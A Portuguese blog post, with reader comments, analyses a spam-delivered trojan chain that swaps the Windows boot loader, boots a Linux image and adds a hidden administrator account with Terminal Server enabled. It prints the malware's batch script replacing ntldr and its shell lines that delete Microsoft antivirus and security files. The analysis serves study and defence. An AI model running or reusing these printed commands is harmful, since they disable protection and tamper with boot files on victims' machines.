Warning: count(): Parameter must be an array or an object that implements Countable in /var/www/html/wp-includes/post-template.php on line 284

Malware Curioso (O melhor que já vi)

   A alguns dias atras eu recebi mais um SPAM no meu hotmail(pra variar), com o título “BBB12 Video: Daniel Falando sobre o que ocorreu na casa.”. Sinceramente não assisto BBB, nem sei quem é o tal do Daniel, ou até mesmo o que ele fez.. Mais isso não vem ao caso.. O que me chamou atenção no final das contas.. É que sempre recebo SPAM do tipo para atualização meu cartão do banco Satander ou Bradesco ou sei la.. Mais esse é diferente.. Resolvi baixar para analisar.. Segue o e-mail:

   Ao clicar em qualquer imagem (ele aponta tudo para o mesmo local), ele baixa um arquivo “video_player.exe”, que esta packed com o ASPack 2.12… Depois de decomprimir esse camarada descobri que ele é um trojan/downloader feito em Visual Basic.. Simplesmente ele vai baixar outro executável para o computador e vai acionar um contador, no caso, uma página php…

   O próximo arquivo tem nome de “smldr.jy”, que na verdade é um executável também packed com o ASPack 2.12, só que esse mostra como sendo feito em Delphi, esse camarada aí é o que eu chamaria de rootkit… Ele tem várias linhas codificadas com um algoritmo que não fui atras de descobrir como ele decodifica, mais sei que usa uma chave para fazer a decodificação… O que percebi que dependendo do windows que vc está usando ele tem um “pacote” para a sua versão… Os arquivos  que ele baixa são: 7.zip, 7sp1.zip, vst.zip, vstsp1.zip, wxp.zip, xp.zip, xpsp1.zip, xpsp3.zip. O que esta em destaque é o mais “curioso”.

    Esse arquivo contém arquivos diferentes dos outros, dentro dele existe: clear.bat, menu.lst, ntldrv2, xp-msantivirus, xp-msclean… Esse arquivo é o primeiro baixado pelo “smldr.jy”, mais o que ele faz? Bem tive que primeiro encontrar a senha do arquivo zip, pois o mesmo tinha uma senha, e nada fácil a senha, porém ela estava dentro do executável sem nenhuma criptografia, apesar de parecer criptografada.. Apos abrir ela fui direto ao clear.bat para ver o que tinha:

@echo off
attrib -s -h -r %systemdrive%\ntldr
echo y|move %systemdrive%\ntldr %systemdrive%\ntldr.old
echo y|move %systemdrive%\ntldrv2 %systemdrive%\ntldr

   Sim, ele muda o arquivo de inicialização do windows e com o menu.lst aponta para o xp-msantivirus e xp-msclean para iniciar um tipo de linux na máquina, aí que eu fiquei mais curioso.. O que esse “anti-virus” fazia… Bem foi mais simples que pensei, com o file no linux eu recebi essas informações:

clear.bat:      DOS batch file text
menu.lst:       ASCII English text, with CRLF line terminators
ntldrv2:        DOS executable (COM)
xp-msantivirus: Linux kernel x86 boot executable bzImage, version 2.6.24-26-generic (buildd@verna, RO-rootFS, root_dev 0x801, swap_dev 0x1, Normal VGA
xp-msclean:     gzip compressed data, from Unix, last modified: Wed Nov  9 06:06:03 2011

   Como pode ver o xp-msclean é um gzip compactado, descompactei ele e o file me mostrou:

xp-msclean:     ASCII cpio archive (SVR4 with no CRC)

   Então recorri ao man do cpio e percebi que com a opção -i ele extrai o conteúdo… Depois de extraído ele me mostrou uma arvore de diretórios parecida com o do linux, com bin, conf, etc, lib e bla bla bla… Pensando nisso vem a cabeça: Qual pasta o linux tem os scripts de inicialização? Se vc pensou /etc/init.d/ foi exatamente o que eu fiz e la dentro tem rc.Cont e rc.Init, o rc.Init nada mais faz um chroot com o rc.Cont que ali tem o que o “anti-virus” realmente faz.

   Basicamente o script verifica qual unidade tem a pasta WINDOWS depois de montar e procura por alguns arquivos e exclui:

23 #CASE DLL
24 find . -type f -iname “termsrv.dll” -exec rm -f {} \; 2>/dev/null
25 #find . -type f -iname “sfc_os.dll” -exec rm -f {} \; 2>/dev/null
26 find . -type f -iname “gbiehcef.dll” -exec rm -f {} \; 2>/dev/null
27 find . -type f -iname “gbiehscd.dll” -exec rm -f {} \; 2>/dev/null
28 find . -type f -iname “gbpdist.dll” -exec rm -f {} \; 2>/dev/null
29 find . -type f -iname “gbiehabn.dll” -exec rm -f {} \; 2>/dev/null
30 find . -type f -iname “gbiehuni.dll” -exec rm -f {} \; 2>/dev/null
31 find . -type f -iname “gbiehisg.dll” -exec rm -f {} \; 2>/dev/null
32 find . -type f -iname “gbieh.dll” -exec rm -f {} \; 2>/dev/null
33 #CASE MS-AV
34 find . -type f -iname “msseces.exe” -exec rm -f {} \; 2>/dev/null
35 find . -type f -iname “mrt.exe” -exec rm -f {} \; 2>/dev/null
36 find . -type f -iname “mtr.exe” -exec rm -f {} \; 2>/dev/null
37 find . -type f -iname “MSASCui.exe” -exec rm -f {} \; 2>/dev/null
38 find . -type f -iname “Defender-MSASCui.exe” -exec rm -f {} \; 2>/dev/null
39 find . -type f -iname “MsMpEng.exe” -exec rm -f {} \; 2>/dev/null

   Depois disso ele retorna a inicialização de volta e cria um arquivo em branco:

41 rm -Rf ntldr 2>/dev/null
42 cp -Rf ntldr.old ntldr
43 rm -Rf ntldr.old 2>/dev/null
44 rm -Rf xp-msclean 2>/dev/null
45 rm -Rf xp-msantivirus 2>/dev/null
46 rm -Rf menu.lst 2>/dev/null
47 echo “Processo concluido com sucesso…”
48 echo “Reiniciando o computador.”
49 touch /mnt/NSTGXP.OK 2>/dev/null

   No caso a proxima vez que o windows é iniciado ele novamente executa o smldr.jy, que agora esta na pasta c:\Documents and Settings\$usuario\Dados de aplicativos\$nome_do_host… E ao verificar que o arquivo c:\NSTGXP.OK existe ele move para a pasta onde ele esta executando com o conteúdo criptografado dentro dele:

796B5FC57E655BD307605ED31D642ABA6B4206FE444F18E358470FF8580B5FA71E642ED43C39

Que provavelmente seja a proxima rotina a ser executada. E junto a isso ele baixa um dos outros arquivos que mencionei antes, dependendo da versão do windows. Cada arquivo desse contem pelo menos tem arquivos dentro dele: start.bat, start.exe e start.dll. Que o que mais interessa é o start.bat. O que ele faz é criar um usuário de nome NT_AUTHORITY e coloca ele no grupo de administradores e finalmente faz uma modificação no registro do Windows para habilitar o Terminal Server no computador..

   Bem, foi isso que analisei esses dias… Garanto que tem mais coisas para se analisar, pois o executável ainda conta com pelo menos mais 3 arquivos (nav01, nav02, nav03) que tem um único executável que abre um navegador muito parecido com o original.. Agora o que ele faz não sei dizer.. Se alguém se habilitar de tentar descobrir deixa um comentário no post que conversamos sobre.. =)

   Uma coisa é certa, esse malware tem coisa para uns 5 posts só para falar dele.. hehehehehe

Link permanente para este artigo: http://laerciomotta.com/2012/02/22/malware-curioso-o-melhor-que-ja-vi/

5 comentários

Pular para o formulário de comentário

    • Elexsandro em fevereiro 24, 2012 às 4:08 pm
    • Responder

    Que bichinho mais maléfico, coitados dos usuários Windows…

    • EU em março 25, 2012 às 3:21 am
    • Responder

    Q bom q vc gostou! 😉

    1. Comentário no mínimo estranho…

    • Lorenzo em abril 26, 2012 às 10:10 pm
    • Responder

    Aew Laercio Motta, muito legal seu blog, esta analise foi otima, sera q poderiamos tentar descobrir mais algo ?
    Me envie os arquivos dessa analise r0xlama@gmail.com , isso ta xeirando a codigo de chineses hahaha.
    Abraço!

    1. Sei não se é chines…
      Teve mta coisa em Portugues ali…
      kkkkkkkkkkkkkkkkkkkk 😀

Deixe uma resposta

Seu e-mail não será publicado.